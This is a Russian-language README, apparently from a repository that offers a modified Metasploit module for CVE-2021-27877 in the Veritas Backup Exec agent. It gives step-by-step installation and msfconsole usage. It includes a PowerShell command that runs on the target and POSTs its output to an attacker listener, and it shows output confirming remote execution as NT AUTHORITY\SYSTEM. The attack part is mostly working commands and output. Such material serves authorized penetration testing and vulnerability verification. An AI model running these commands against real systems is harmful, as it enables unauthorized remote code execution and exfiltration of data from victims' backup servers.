
Модифицированная версия модуля Rapid7 Metasploit для CVE-2021-27877, которая поддерживает прямое выполнение команд для надёжной проверки уязвимости. Включает документацию, объясняющую порядок эксплуатации, изменения модуля и примеры использования.
Этот репозиторий содержит модифицированную версию оригинального модуля Rapid7 Metasploit для CVE-2021-27877, затрагивающего агент Veritas Backup Exec.
В ходе моего тестирования оригинальный модуль Metasploit успешно определял цель как уязвимую, но постоянно не мог установить сессию, так как этап доставки полезной нагрузки был неудачным. Однако анализ модуля показал, что аутентификация и базовая функциональность выполнения команд работали корректно.
Чтобы упростить проверку уязвимости, я модифицировал модуль для непосредственного выполнения пользовательских команд операционной системы через уязвимую функциональность выполнения команд NDMP вместо загрузки и выполнения полезной нагрузки. Это упрощает подтверждение удаленного выполнения кода без необходимости в обратной оболочке или промежуточной полезной нагрузке.
Отказ от ответственности: Это доказательство концепции предоставлено только в образовательных целях и для авторизованного тестирования безопасности. Используйте его только против систем, которыми вы владеете или на которые имеете явное разрешение для тестирования.
Примечание: Для защиты среды, использовавшейся во время тестирования, все IP-адреса в этом репозитории анонимизированы. Во всех примерах
192.168.x.xобозначает целевую систему, а192.168.y.y— атакующую систему или слушатель. Эти замены не влияют на функциональность доказательства концепции.
По сравнению с оригинальным модулем Rapid7 были внесены следующие изменения:
COMMANDСкопируйте модифицированный модуль в ваш локальный каталог модулей Metasploit.
cp beagent_sha_auth_rce_custom.rb /usr/share/metasploit-framework/modules/exploits/multi/veritas/
Запустите (или перезапустите) Metasploit и перезагрузите локальные модули:
msfconsole
reload_all
Перед запуском модуля запустите HTTP-слушатель (или любой веб-сервер, способный принимать и отображать HTTP-запросы POST). Этот слушатель будет получать вывод команды, выполненной на цели.
Например, вы можете использовать простой Python HTTP-сервер с пользовательским обработчиком запросов, nc или любой другой HTTP-слушатель по вашему выбору.
Загрузите модуль:
use exploit/multi/veritas/beagent_sha_auth_rce_custom
Настройте необходимые опции:
set RHOSTS 192.168.x.x
set RPORT 10000
set COMMAND powershell -Command "$output = whoami; Invoke-WebRequest -Uri 'http://192.168.y.y:8080/' -Method POST -Body $output"
run
Опция COMMAND принимает любую команду, которую вы хотите выполнить на цели.
Этот модуль предназначен для выполнения одной команды и не возвращает вывод команды автоматически.
Чтобы получить вывод, используйте подходящий механизм обратного вызова в вашей команде (например, HTTP-запрос POST или другой исходящий канал) и отслеживайте его с помощью вашего слушателя.
Пример вывода слушателя:
Listening on 0.0.0.0 8080
Connection received on 192.168.x.x 26006
POST / HTTP/ 1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShe11/5.1.14393.9234
Content-Type: application/x-www-form-urlencoded
Host: 192.168.y.y:8080
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive
nt authority\system